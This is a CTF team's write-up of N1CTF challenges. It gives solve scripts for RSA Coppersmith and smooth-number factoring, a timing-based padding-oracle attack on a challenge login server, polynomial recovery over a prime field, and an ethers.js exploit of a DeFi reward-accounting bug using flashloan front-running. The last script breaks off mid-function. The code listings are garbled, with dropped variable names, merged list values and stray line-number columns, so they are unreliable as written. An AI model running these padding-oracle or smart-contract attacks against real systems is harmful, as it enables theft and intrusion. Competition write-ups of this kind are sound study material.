Super Guesser played N1CTF and got 1st place, also giving us a good amount of CTFtime points.

 

checkin 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
 
= getPrime(512)
= getPrime(512)
= p*q
= 2021*p+1120*q
= (inverse(x,n)+x)%n
= 65537
= pow(bytes_to_long(flag), e, n)
 
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
 
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
 
cs

 

There must be a more efficient solution, but here's a solution that took around 5 hours. 

From $p_0$, we get a range of $p$. From this range, we can calculate the possible range of $x$. After simple calculation, we see that $$ L \le x \le R $$ where $R-L < 2^{501}$. Now since we know the equation $$x^2 - hx + 1 \equiv 0 \pmod{n}$$ we can use Coppersmith's attack with $\epsilon = 0.01$. This gives a solution that requires LLL algorithm on a matrix of size 100 x 102, taking 5 hours to run. After finding $x$, we can calculate $p, q$ with quadratic equations. Interested in a faster solution.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
    
set_verbose(2)
 
= 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
= 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
= 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618
 
p_left = p0 << 490
p_right = (p0 + 1<< 490
 
xleft = 2021 * p_left + 1120 * (n // p_left)
xright = 2021 * p_right + 1120 * (n // p_right)
 
dif = xright - xleft
 
POL = PolynomialRing(Zmod(n), 'x')
= POL.gen()
 
= (xleft + x) ** 2 - (xleft + x) * h + 1 
 
# print(f.small_roots(X = dif, beta = 1.0, epsilon = 0.01))
# 2912576656137471917598083572790822084936420051386777204728781209115923077150356900578287157481616426957057687378386181070414819714103076914618075908917
 
= xleft + 2912576656137471917598083572790822084936420051386777204728781209115923077150356900578287157481616426957057687378386181070414819714103076914618075908917
 
# 2021*p+1120*q = x
# 2021p^2 + 1120n = px 
 
= (x + inthroot(Integer(x * x - 4 * 2021 * 1120 * n), 2)) // (2 * 2021)
= n // p 
 
phi = (p - 1* (q - 1)
= inverse(65537, phi)
 
= pow(c, int(d), n)
 
print(long_to_bytes(m))
cs

 

 

n1ogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import os
import json
import time
 
from Crypto.PublicKey.RSA import import_key
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac
 
from secret import FLAG, SALT
 
 
# generated by `openssl genrsa -out n1ogin.pem 2048`
PRIV_KEY = import_key(open("n1ogin.pem""r").read())
 
# nonce for replay attack
Nonces = set()
 
 
def cal_password_hash(password):
    hash = password.encode() + SALT
    for _ in range(7777):    # enhanced secure
        digest = hashes.Hash(hashes.MD5())
        digest.update(hash)
        hash = digest.finalize()
    return hash
 
def RSA_decrypt(rsa_data):
    cc = int.from_bytes(rsa_data, 'big')
    mm = pow(cc, PRIV_KEY.d, PRIV_KEY.n)
    message = mm.to_bytes(2048//8'big')
 
    if check_PKCS1(message):
        payload = message[-48:]
    else:
        # To prevent Bleichenbacher's attack, we continue with random bytes
        # when the PKCS1 check is not passed
        payload = os.urandom(48)
    return payload
 
def check_PKCS1(message):
    # message: 0x00 || 0x02 || padding string || 0x00 || (48 bytes) payload
    ok = all([
        message[0== 0x00,
        message[1== 0x02,
        all(byte != 0x00 for byte in message[2:-49]),
        message[-49== 0x00
    ])
    return ok
 
def check_time(timestamp):
    return abs(int(time.time()) - timestamp) < 30
 
def check_nonce(nonce):
    if nonce in Nonces:
        return False
    Nonces.add(nonce)
    return True
 
def AES_decrypt(key, enc_data):
    # key: aes_key || hmac_key
    aes_key = key[:24]
    hmac_key = key[24:]
    # enc_data: iv || cipher || mac
    iv, cipher, mac = enc_data[:16], enc_data[16:-16], enc_data[-16:]
 
    aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
    decryptor = aes.decryptor()
    data = decryptor.update(cipher) + decryptor.finalize()
 
    # check padding
    data = unpad(data)
    if not data:
        return None"padding error"
 
    # check hmac
    cal_mac = iv + cipher
    for _ in range(7777):    # enhanced secure
        h = hmac.HMAC(hmac_key, hashes.MD5())
        h.update(cal_mac)
        cal_mac = h.finalize()
    if cal_mac != mac:
        return None"hmac error"
 
    return data, None
 
def pad(pt):
    pad_length = 16 - len(pt)%16
    pt += bytes([pad_length]) * pad_length
    return pt
 
def unpad(ct):
    pad_length = ct[-1]
    if pad(ct[:-pad_length]) == ct:
        return ct[:-pad_length]
    else:
        return None
 
def login(username, password):
    if username not in Users or Users[username] != cal_password_hash(password):
        print("login failed...")
        return
    print(f"{username} login ok!")
    echo_shell(username)
 
def register(username, password):
    if username in Users or len(username) > 20:
        print("register failed...")
    else:
        Users[username] = cal_password_hash(password)
        print(f"{username} register ok!")
 
def echo_shell(username):
    while True:
        command = input(f"{username}@local> ")
        if username == "admin" and command == "flag":
            print(FLAG)
        elif command == "exit":
            exit(0)
        else:
            print(command)
 
def handle(envelope):
    try:
        envelope_json = json.loads(envelope)
 
        key = RSA_decrypt(bytes.fromhex(envelope_json["rsa_data"]))
        content, err = AES_decrypt(key, bytes.fromhex(envelope_json["aes_data"]))
        if err:
            print("Error!")
            return
 
        content = json.loads(content)
        # check nonce
        if not check_nonce(content["nonce"]):
            print("Error!")
            return
        # check time
        if not check_time(content["timestamp"]):
            print("Error!")
            return
        # handle login/register
        choice = content["choice"]
        if choice == "login":
            login(content["username"], content["password"])
        elif choice == "register":
            register(content["username"], content["password"])
        else:
            print("Error!")
 
    except Exception as e:
        print("Error!")
 
 
Users = {
    # username:password_hash
    "admin""REACTED",  # admin password obeys the strong password policy
    "guest": cal_password_hash("guest")
}
 
 
def main():
    print("Welcome to the n1ogin system!")
    while True:
        envelope = input("> ")
        handle(envelope)
 
if __name__ == "__main__":
    main()
 
cs

 

The data (aes/rsa data) that the admin sent is given in a pcap file. The client file is also given to make lives easier.

 

In the cryptography world, there are a bunch of attacks that involve exploiting error messages. For example, there are padding oracle attack and Bleichenbacher's attack. There are a bunch of errors in this challenge as well, but Bleichenbacher's attack is guarded as PKCS padding error is simply ignored by taking some random bytes as the unpadded result.

 

It seems that the same goes for the padding check and HMAC check - there are a bunch of errors possible in the AES decryption (and content verification) but all of them simply return "Error!" making it hard to see which error was actually thrown. If we could decide whether AES padding was the issue, we could easily use padding oracle attack to recover the admin password, giving us the flag.

 

How can we achieve this goal? If we look at lines 71-84, the padding error is checked first, then the HMAC error. If padding error was found, then the server skips the HMAC computation. Because the HMAC function was applied 7777 times, that HMAC computation takes a significant amount of time, around 0.1 seconds. This means that with a stable server, we can decide whether or not padding error was found via timing attack. This solves the challenge :) To make the exploit more stable, I timed everything 5 times and took the median. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 
 
admin_data = {"rsa_data""391b06a1740b8c9cf1c8d2bb66ba5b191caa8534b4be18c22ce81069658dd2cd3ca3a8d1a3fc8dfab4b68a6b076bf89be807404e0a98dd1bf9daaf8ba34e0556131d3e56cae61c0302d24a177481209e82de7ecf91c2fe66aa39162d7af9c2fdabaf0c444badfc6b82b071fda8e3b26d4d3e57dba25c36298601ae0153c73b7469c472ac4702531c38849772e7c6e24313e6eb7def64a7bec1c21150c1fded52b3ca716d4444b4d75836dff8c92a371f6256ee7a48034f6d5ea949d982f9f05c04d3d7cce10bd11b806cc02088b42fa0cb069390700fb586287ba224ea0b210ebd0479a4f1d2ef5f914bcc861125b7d8d714cf0feecb515c1b1ef869e91ca179""aes_data""1709bf9489f6df6dc31491cee4711f7a2a3e050f1ed3e9772442e8a8483e341313713383dd31fbf0133d55e977b8edf54ba832002ee4ee52da32c260b083a35b01626201c36dad6fca7b2be2aa03d90bf5c9a601a24149f55cdcd39f0bf6a032bfabeebee5259a21e188f5c5f8776cd9d7c072054781169174bddbc390e6da21bd7b85f76c93f48914fb1958ac89e464511d9a17fb2174aab825cb13eb3f0dfa"}
 
 
conn = remote("43.155.59.224"7777)
conn.readline()
 
 
PUB_KEY = import_key(open("n1ogin.pub""r").read())
 
def send_data(data):
    envelope = json.dumps(data)
    st = time.time()
    conn.sendlineafter(b"> ", envelope.encode())
    res = conn.recvline().decode()
    en = time.time()
    return en - st
 
aesdata = bytes.fromhex(admin_data["aes_data"])
iv, cipher, mac = aesdata[:16], aesdata[16:-16], aesdata[-16:]
res = iv + cipher 
 
 
conn.sendline(b"asdf")
conn.recvline()
 
true_ptxt = [0* (len(res))
 
for i in range(len(res), 16-16):
    for j in range(016):
        tt = []
        sol = -1
        record = 0
        for k in tqdm(range(256)):
            if i == len(res) and j == 0 and k == 0:
                continue
            if (k ^ (j + 1)) > 128:
                continue
            query_token = res[:i-j-17]
            query_token += bytes([res[i-j-17] ^ k])
            for u in range(j):
                query_token += bytes([res[i-j-16+u] ^ true_ptxt[i-j+u] ^ (j+1)])
            query_token += res[i-16:i]
            # print(query_token)
            query_token += os.urandom(16)
            tot = []
            for _ in range(5):
                dat = {
                    "rsa_data" : admin_data["rsa_data"],
                    "aes_data" : query_token.hex()
                }
                spent = send_data(dat)
                tot.append(spent)
            tot.sort()
            tot = tot[2]
            tt.append((tot, chr(k ^ (j+1))))
            if tot > record:
                sol = k
                record = tot
        tt.sort()
        print(tt[-7:])
        true_ptxt[i-j-1= sol ^ (j + 1)
        print(bytes(true_ptxt))
cs

 

n1token1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
import random
from secret import flag
 
def gettoken(c):
    X = 0
    while ((pow(X, (p-1)//2, p)!=1or (pow(X, (q-1)//2, q)!=1)):
        X = 1
        while X.bit_length() < 920:
            X *= random.choice(primes)
    xp = pow(X, (p + 1)//4, p)
    xq = pow(X, (q + 1)//4, q)
    xp = random.choice([xp,-xp%p])
    xq = random.choice([xq,-xq%q])
    x = c * (xp*inverse(q,p)*+ xq*inverse(p,q)*p) % n
    return x
 
def getmyPrime(nbits):
    p = getPrime(nbits)
    while(p%4==1):
        p = getPrime(nbits)
    return p
 
primes = random.sample(sieve_base, 920)
= getmyPrime(512)
= getmyPrime(512)
= 65537
= p*q
= pow(bytes_to_long(flag), e, n)
 
with open("output.txt""w")as f:
    f.write("n = " + str(n) + "\n")
    for i in range(920):
        f.write("Token #"+str(i+1)+': '+str(gettoken(c))+'\n')
 
 
cs

 

We have 1024 bit modulus $n$ and 920 tokens. To calculate the tokens, the following procedure took place.

  • select 920 distinct small primes and store it in an array (this array is fixed)
  • compute some product of these small primes which is just over 920 bits long and is a QR modulo $n$
  • compute the square root of this value and multiply $c$ to it

 

We have to compute $c$ and also factorize $n$ from these data. 

 

Step 1 : Computing $c^2$.

Denote the token as $t$ and the selected product of primes as $X$. We have $$ t \equiv c \cdot \sqrt{X} \pmod{n} \implies t^2 \equiv c^2 \cdot X \pmod{n} \implies X \equiv t^2 c^{-2} \pmod{n}$$ Note that $n$ is 1024 bits and $X$ is less than 930 bits. Now this is just a hidden number problem, so LLL can solve it. 

 

Thanks to barkingdog for thinking of this idea and computing $c^2$! I had the idea for Step 2, but couldn't think of this.

 

Step 2 : Computing $c$ and Factorizing $n$.

Since we know $c^2 \pmod{n}$, we can now compute all $X$ values corresponding to each tokens. 

We can now easily factorize these values, as they are smooth. Consider the prime factorization of $X$.

$X$ is composed of prime factors that belong to the fixed set of 920 prime factors.

If we consider only the parity of each exponent in the prime factorization, we can regard each number as a binary vector of length 920. 

 

Since there are 920 vectors of length 920 over $\mathbb{F}_2$, it's tempting to look for kernels. Indeed, if we find a nontrivial kernel, we can multiply all equations corresponding to the kernel - and since the product of $X$'s will be a square, we can get some interesting results.

For example, if there are $l$ tokens such that the product of their $X$'s is a square, we get $$ \prod t^2 \equiv c^{2l} \cdot \prod X \pmod{n} \implies \prod t \equiv c^l \cdot \sqrt{\prod X} \cdot \text{(some square root of 1)} \pmod{n}$$

If $l$ is odd, we can get a candidate of $c$ that agrees with the found value of $c^2 \pmod{n}$. 

If $l$ is even, we can get some square root of 1. If this is $1$ or $-1$, we are out of luck. If not, we can factorize $n$ with GCD.

 

If turns out the the kernel is of dimension 2, one with $l$ odd and one with $l$ even. We are lucky on the $l$ even case as well.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util import Counter
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, isPrime, getPrime, getRandomRange, sieve_base
from tqdm import tqdm
from pwn import *
from sage.all import *
import gmpy2, pickle, itertools, sys, json, hashlib, os, math, time, base64, binascii, string, re, struct, datetime, subprocess
import numpy as np
import random as rand
import multiprocessing as mp
from base64 import b64encode, b64decode
from sage.modules.free_module_integer import IntegerLattice
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Cipher import AES, ARC4, DES
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
fr = open("output.txt""r")
= int(fr.readline()[4:])
 
tokens = [int(fr.readline().split(": ")[1]) for _ in range(920)]
xsq = [pow(x, 2, n) for x in tokens]
 
# obtained via LLL, thanks BarkingDog!
'''
SZ = 50
 
M = [[0]*SZ for _ in range(SZ+1)]
 
for i in range(SZ):
  M[0][i] = xsq[i]
 
for i in range(SZ):
  M[i+1][i] = n
 
M = matrix(ZZ, M)
 
T = M.LLL()
 
print(T[1])
 
for i in range(SZ):
    v = T[1][i]
    A = v * pow(xsq[i],-1,n) % n
    print(A)
 
csqinv = 52983076548811446642078416561526103296256117483454486324354864860934507167817419284299797979785979560318778718382121118437029467788929084290109421055494194638653398930615132561955251638059730256502250470596999508030459148548384745026728889238876530368915312995370308785841757845456662731412090368303339076885
csq = inverse(csqinv, n)
 
print(csq)
'''
 
csq = 45826812852445545573935979277992443457076371872089648644915475778319093098825670699151487782654163657210516482531915639455166133358119343973980849423144111072114848219032243215219360482938562035117641611780636775341778802057146053472950017702818869239750207365020007621660815809140827723451995480125236607450
csqinv = 52983076548811446642078416561526103296256117483454486324354864860934507167817419284299797979785979560318778718382121118437029467788929084290109421055494194638653398930615132561955251638059730256502250470596999508030459148548384745026728889238876530368915312995370308785841757845456662731412090368303339076885
 
= [v * csqinv % n for v in xsq]
primes = []
for p in sieve_base:
    for x in X:
        if x % p == 0:
            primes.append(p)
            break
 
SZ = 920
mat = [[0* SZ for _ in range(SZ)]
# mat[i][j] : number of factor primes[i] in X[j]
 
for i in range(920):
    v = X[i]
    for j in range(920):
        while v % primes[j] == 0:
            v //= primes[j]
            mat[j][i] += 1
    
= Matrix(GF(2), mat)
basis_ = M.right_kernel().basis()
 
# Part 1 : find c
xmult = Integer(1)
Xmult = Integer(1)
cnt = 0
for i in range(920):
    cc = basis_[0][i]
    if int(cc) == 1:
        xmult = xmult * Integer(tokens[i])
        Xmult = Xmult * Integer(X[i])
        cnt += 1
 
print(cnt)
= inthroot(Xmult, 2)
xmult = xmult % n 
c_cnt = (xmult * inverse(int(v % n), n)) % n 
= (c_cnt * inverse(pow(csq, (cnt - 1// 2, n), n)) % n 
 
# Part 2 : find some sqrt of 1
xmult = Integer(1)
Xmult = Integer(1)
 
cnt = 0
for i in range(920):
    cc = basis_[1][i]
    if int(cc) == 1:
        xmult = xmult * Integer(tokens[i])
        Xmult = Xmult * Integer(X[i])
        cnt += 1
 
print(cnt)
= inthroot(Xmult, 2)
xmult = xmult % n 
c_cnt = (xmult * inverse(int(v % n), n)) % n 
sq1 = (c_cnt * inverse(pow(csq, cnt // 2, n), n)) % n 
 
print(n)
= GCD(sq1+1, n)
= GCD(sq1-1, n)
assert p != 1 and q != 1 and p * q == n
 
for u in [1-1]:
    for v in [1-1]:
        cc = crt(u, v, p, q)
        c_real = (c * cc) % n
        phi = (p - 1* (q - 1)
        d = inverse(65537, phi)
        print(long_to_bytes(pow(c_real, d, n)))
 
cs

 

n1token2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
from secret import FLAG
 
assert FLAG.startswith('n1ctf{')
assert FLAG.endswith('}')
SECRET = bytes.fromhex(FLAG[6:-1])
assert len(SECRET) == 16
 
= 251
 
= [120113149219]
 
= b'' 
for x in range(1, p):
    coeff = [random.choice(e)] + list(SECRET)
    y += bytes([sum(c * pow(x, i, p) for i, c in enumerate(coeff)) % p])
    
print(f'Token: {y.hex()}')
 
cs

 

We have some polynomial $p$ of degree $16$, and have a length 5 candidate set for all $p(x)$. 

To solve this, we note that if $p(x)$ is one of $a, b, c, d, e$, then the following is always true. $$(p(x) - a)(p(x) - b)(p(x)-c)(p(x)-d)(p(x)-e) \equiv 0 \pmod{p}$$ Now considering $p(x), p(x)^2, p(x)^3, p(x)^4, p(x)^5$ as independent polynomials of degree $16,32,48,64,80$, we can set up a matrix equation and solve the linear system to find $p$. This is a classical idea that I really like, so I enjoyed this challenge.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util import Counter
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, isPrime, getPrime, getRandomRange, sieve_base
from tqdm import tqdm
from pwn import *
from sage.all import *
import gmpy2, pickle, itertools, sys, json, hashlib, os, math, time, base64, binascii, string, re, struct, datetime, subprocess
import numpy as np
import random as rand
import multiprocessing as mp
from base64 import b64encode, b64decode
from sage.modules.free_module_integer import IntegerLattice
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Cipher import AES, ARC4, DES
 
 
token = '1d85d235d08dfa0f0593b1cfd41d3c98f2a542b2bf7a614c5d22ea787e326b4fd37cd6f68634d9bdf5f618605308d4bb16cb9b9190c0cb526e9b09533f19698b9be89b2e88ba00e80e44d6039d3c15555d780a6a2dbd14d8e57f1252334f16daef316ca692c02485684faee279d7bd926501c0872d01e62bc4d8baf55789b541358dfaa06d11528748534103a80c699a983c385e494a8612f4f124bd0b2747277182cec061c68197c5b105a22d9354be9e436c8393e3d2825e94f986a18bd6df9ab134168297c2e79eee5dc6ef15386b96b408b319f53b66c6e55b3b7d1a2a2930e9d34287b74799a59ab3f56a31ae3e9ffa73362e28f5751f79'
token = bytes.fromhex(token)
 
# (p(x) + 1 - h)(p(x) + 20 - h)(p(x) + 113 - h)(p(x) + 149 - h)(p(x) + 219 - h)
# p(x) p(x)^2 p(x)^3 p(x)^4 p(x)^5
 
= 251
= [120113149219]
POL = PolynomialRing(GF(p), 'x')
= POL.gen()
 
= [[0* 245 for _ in range(250)]
target = []
 
for i in range(0, p-1):
    t = i + 1
    v = int(token[i])
    f = (x + 1 - v) * (x + 20 - v) * (x + 113 - v) * (x + 149 - v) * (x + 219 - v)
    arr = f.coefficients(sparse=False)
    target.append(p - arr[0])
    for j in range(016 + 1):
        M[i][j] = (arr[1* (t ** j)) % p
    for j in range(1717 + 32 + 1):
        M[i][j] = (arr[2* (t ** (j - 17))) % p 
    for j in range(17 + 3317 + 33 + 48 + 1):
        M[i][j] = (arr[3* (t ** (j - 17 - 33))) % p
    for j in range(17 + 33 + 4917 + 33 + 49 + 64 + 1):
        M[i][j] = (arr[4* (t ** (j - 17 - 33 - 49))) % p
    for j in range(17 + 33 + 49 + 6517 + 33 + 49 + 65 + 80 + 1):
        M[i][j] = (arr[5* (t ** (j - 17 - 33 - 49 - 65))) % p
 
= Matrix(GF(p), M)
target = vector(GF(p), target)
 
= M.solve_right(target)
print(M.right_kernel().basis())
flag = 'n1ctf{'
 
for i in range(117):
    flag += bytes([v[i]]).hex()
 
flag += "}"
 
print(flag)
    
 
 
cs

 

babydefi

The source code is omitted due to size reasons. We have the following setup.

  • There are two ERC20 tokens, "FlagToken" and "N1Token".
  • We can flashloan some "N1Token"s.
  • There is a Uniswap LP Pool for "FlagToken" and "N1Token".
    • This LP Pool has no 0.3% fees like Uniswap, and doesn't support flashloans.
  • There is a Farming Pool called "N1Farm".
    • There are some "N1Tokens" initially
    • If we deposit "N1Tokens", then "FlagTokens" are minted as rewards.
    • There is a sellSomeForFlag() function that sells all "N1Tokens" for "FlagTokens".
  • We have no tokens at the beginning. The goal is to have a lot of FlagTokens and some N1Tokens. 

 

The main vulnerability is from Cover Protocol exploit. I'll let google help you on details for this. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function deposit(address token,uint256 _amount) external {
        require(token == tokenAccept,"Fake Token.");
        PoolInfo memory poolInfo = poolInfos[token]; // HERE!
        updatePool(token);
        UserInfo storage user = userInfo[msg.sender];
        if (user.amount > 0) {
            uint256 pending = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18).sub(user.rewardDebt);
            if (pending > 0) {
                IMintToken(flagToken).mint(msg.sender, pending);
            }
        }
        if (_amount > 0) {
            IERC20(token).safeTransferFrom(address(msg.sender), address(this), _amount);
            user.amount = user.amount.add(_amount);
        }
        user.rewardDebt = user.amount.mul(poolInfo.accRewardsPerToken).div(1e18);
        emit Deposit(msg.sender,_amount);
    }
    
    
cs

 

We note that the poolInfo is "memory" which means that the updated poolInfo from updatePool() is not used.

This means that the accRewardPerToken is undervalued, meaning rewardDebt is undervalued. 

Therefore, in the later withdrawl, the reward we get will be way larger than what the developers intended.

 

Let's ignore that the N1Farm address holds N1Tokens for now. We'll resolve this later.

 

Consider the following scenario : we deposit X, then withdraw X-1, then deposit X-1, then withdraw X. 

In the second deposit, when rewardDebt is calculated, the poolInfo used is calculated right before the X-1 tokens are withdrawed to the caller's wallet, i.e. the updatePool() in the withdraw function. This means the rewards accrued while there were only one N1Token is ignored, so a large accRewardsPerToken is not accounted in calculation. In the next withdraw, X tokens are accounted for the large amount of unnoticed accRewardTokens, which means that a very large amount of FlagTokens are minted to the caller. This is the Cover Protocol exploit. 

 

The difference between the Cover Protocol case and ours is that we do not have any N1Tokens yet. 

Even if we can get our hands on some N1Tokens via flashloan, since everything must be in one transaction (and in one block, obviously) the updatePool() function cannot operate as we desire more than once. We need to actually get some N1Tokens.

 

To do that, we look again at the sellSomeForFlag() function. This function is public, so we can call it at will.

Since this function is guaranteed to buy FlagTokens, we can front-run this very easily. 

We need to flashloan N1Tokens, then buy FlagTokens ourselves, call the sellSomeForFlag() function, then sell our FlagTokens. 

This will give us more N1Tokens than our initial balance, so we can pay back the flashloan and send the rest to our address.

Note that this also makes N1Farm have zero N1Tokens, as we wanted above. This practically solves the challenge.

 

There are two ways to finish here. 

 

The first method is to use the deposit X, withdraw X-1, deposit X-1, withdraw X strategy multiple times.

I used this method, and it took about 15 cycles over around 30 minutes. This gives the flag, but is slow.

 

The second method is to perform the cycle then swap the FlagTokens received for some N1Tokens.

This makes the farming much more efficient, and will reach the desired FlagToken balance faster. 

 

web3 exploit written with ethersjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import { BigNumber, ethers } from "ethers"
import { NonceManager } from "@ethersproject/experimental"
import N1FarmAbi from "./abi/N1FarmAbi.json"
import FlagTokenAbi from "./abi/FlagTokenAbi.json"
import N1TokenAbi from "./abi/N1TokenAbi.json"
import ExploitAbi from "./abi/ExploitAbi.json"
import DeployAbi from "./abi/DeployAbi.json"
 
let myAddress = "0x0D2871cc404305ca4F141bA90cea3e8649b9B9fE";
let privatekey = "";
 
let provider = new ethers.providers.JsonRpcProvider("http://101.42.119.132:8545");
let signer = new NonceManager(new ethers.Wallet(privatekey, provider));
 
let Deploy = "0xB99B60B71E23B0fd066215e6E07fCDB1Fc3d0857"
let N1Token = "0xedCdB0d6377bc484452A26E39CA9fcB3d57faA68"
let FlagToken = "0xd46beffbA9F12d87295D42bB532429482F2bAEa2"
let Pool = "0xb221898738D1925E73b0cdDF440aA1d44d5B7092"
let N1Farm = "0x31adD2Ae6e9EF0c9F41c478916A8Ac2234A5E4FA"
 
var stnonce = 102// check your nonce
 
// chainId : const { chainId } = await provider.getNetwork() 
 
let N1TokenContract = new ethers.Contract(N1Token, N1TokenAbi, signer);
let FlagTokenContract = new ethers.Contract(FlagToken, FlagTokenAbi, signer);
let N1FarmContract = new ethers.Contract(N1Farm, N1FarmAbi, signer);
let N1TokenInterface = new ethers.utils.Interface(N1TokenAbi);
let N1FarmInterface = new ethers.utils.Interface(N1FarmAbi);
let ExploitInterface = new ethers.utils.Interface(ExploitAbi);
let DeployInterface = new ethers.utils.Interface(DeployAbi);
 
let bytecode = "0x00"// compile exploit (solidity) with 0.6.12 on remix
 
function delay(ms: number) {
    return new Promise( resolve => setTimeout(resolve, ms) );
}
 
async function deployContract() {
    console.log("deploying contract");
    let signed = await signer.signTransaction({
        from : myAddress,
        gasLimit : BigNumber.from(4000000),
        data : bytecode, 
        nonce : stnonce,
        chainId : 1211,
    })
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    let txhash = await provider.send("eth_sendRawTransaction", [signed]);
    console.log(txhash);
    await delay(20000);
    let res = await provider.send("eth_getTransactionReceipt", [txhash]);
    return res.contractAddress;
}
 
async function forceArbitrage(Exploit : string) {
    var calldata = ExploitInterface.encodeFunctionData("forceArbitrage");
    console.log("running exploit");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : Exploit,
        gasLimit: BigNumber.from(4000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function deposit(amount : BigNumber) {
    var calldata = N1FarmInterface.encodeFunctionData("deposit", [N1Token, amount]);
    console.log("sending deposit transaction");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Farm,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function withdraw(amount : BigNumber) {
    var calldata = N1FarmInterface.encodeFunctionData("withdraw", [N1Token, amount]);
    console.log("sending withdraw transaction");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Farm,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
